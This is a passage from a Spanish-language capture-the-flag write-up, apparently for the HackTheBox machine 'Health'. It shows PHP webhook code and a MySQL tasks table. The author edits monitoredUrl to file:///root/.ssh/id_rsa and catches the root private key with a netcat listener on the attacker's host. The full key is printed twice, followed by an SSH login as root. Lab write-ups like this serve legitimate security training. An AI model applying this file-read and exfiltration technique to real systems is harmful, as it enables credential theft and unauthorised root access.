for ($i = 0; $i <= count($http_response_header) - 1; $i++) {
$split = explode(':', $http_response_header[$i], 2);
if (count($split) == 2) {
$headers[trim($split[0])] = trim($split[1]);
} else {
error_log("invalid header pair: $http_response_header[$i]\n");
}
}
$json['headers'] = $headers;
}
} else {
$json['health'] = "down";
}
$content = json_encode($json);
// send
$curl = curl_init($webhookUrl);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER,
array("Content-type: application/json"));
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $content);
curl_exec($curl);
curl_close($curl);
return $json;
}
}
?>
El script obtiene el contenido del input que le pasas al campo WebHook de la web explotada anteriormente
Como el PsPy también había detectado una tarea relacionada con MySQL, puede que a la hora de ejecutarse la tarea CRON se introduzca algún dato nuevo, en caso de que se llame a la función adecuada.
mysql> show tables;
+------------------------+
| Tables_in_laravel |
+------------------------+
| failed_jobs |
| migrations |
| password_resets |
| personal_access_tokens |
| tasks |
| users |
+------------------------+
6 rows in set (0.00 sec)
mysql> select * from tasks;
Empty set (0.00 sec)
mysql> select * from tasks\G;
*************************** 1. row ***************************
id: 92f937e3-fccf-4c9a-b051-d99b83aa0bd5
webhookUrl: http://10.10.16.34:8000
onlyError: 0
monitoredUrl: http://10.10.16.34
frequency: *****
created_at: 2023-01-10 16:40:17
updated_at: 2023-01-10 16:40:17
1 row in set (0.00 sec)
Efectivamente, tras crear el WebHook, se introducen nuevos datos
Se podría tratar de efectuar un LFI abusando de alguno de estos campos.
Como puedo editar la base de datos, en el apartado de monitoredUrl, una vez ya he creado el WebHook desde la web, fuerzo a que sea un archivo local de la máquina, en concreto, la id_rsa del usuario root.
nc -nlvp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.10.11.176.
Ncat: Connection from 10.10.11.176:49336.
POST / HTTP/1.1
Host: 10.10.16.34:8080
Accept: */*
Content-type: application/json
Content-Length: 1832
Expect: 100-continue
{"webhookUrl":"http:\/\/10.10.16.34:8080","monitoredUrl":"file:\/\/\/root\/.ssh\/id_rsa","health":"up","body":"-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9\/jG5NPqc2TfW4Nlj9gE\nKScDJTrF0vXYnIy4yUwM4\/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq\nIMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH\/\nKuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL\/XP1hN4B7egzjcV8Rphj6XRE3bhgH\n7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8\nW6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae\nNPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9\nt3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8\/v\/3Jeesznu+RJ+G0ezyUGfi0wpQRoD\nC2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI\/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl\nhnqFXpOWB771WnW9yH7\/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x\/LUyan++D+8\nefiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2\n1bLlZQECgYEA9iT13rdKQ\/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj\nnVhtw6NRFZ1Gfu21kPTCUTK34iX\/p\/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3\nsqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou\nfEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q\n0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ\nzkbVWX3JRDh4vdFOBGB\/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT\nrti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB\nN1ZI4E59+O3Z15VgZ\/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD\nSsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o\n++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp\nUnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR\/xkIP\/Mog1a\nvmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU\n6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC\/cQbPm\nQeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G\n-----END RSA PRIVATE KEY-----\n"}
Y finalmente obtienes la id_rsa
cat id_rsa | jq .body -r | sponge id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9/jG5NPqc2TfW4Nlj9gE
KScDJTrF0vXYnIy4yUwM4/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq
IMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH/
KuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL/XP1hN4B7egzjcV8Rphj6XRE3bhgH
7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8
W6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae
NPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9
t3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8/v/3Jeesznu+RJ+G0ezyUGfi0wpQRoD
C2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl
hnqFXpOWB771WnW9yH7/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x/LUyan++D+8
efiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2
1bLlZQECgYEA9iT13rdKQ/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj
nVhtw6NRFZ1Gfu21kPTCUTK34iX/p/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3
sqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou
fEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q
0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ
zkbVWX3JRDh4vdFOBGB/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT
rti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB
N1ZI4E59+O3Z15VgZ/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD
SsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o
++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp
UnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR/xkIP/Mog1a
vmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU
6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC/cQbPm
QeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G
-----END RSA PRIVATE KEY-----
chmod 600 id_rsa
ssh root@health.htb -i id_rsa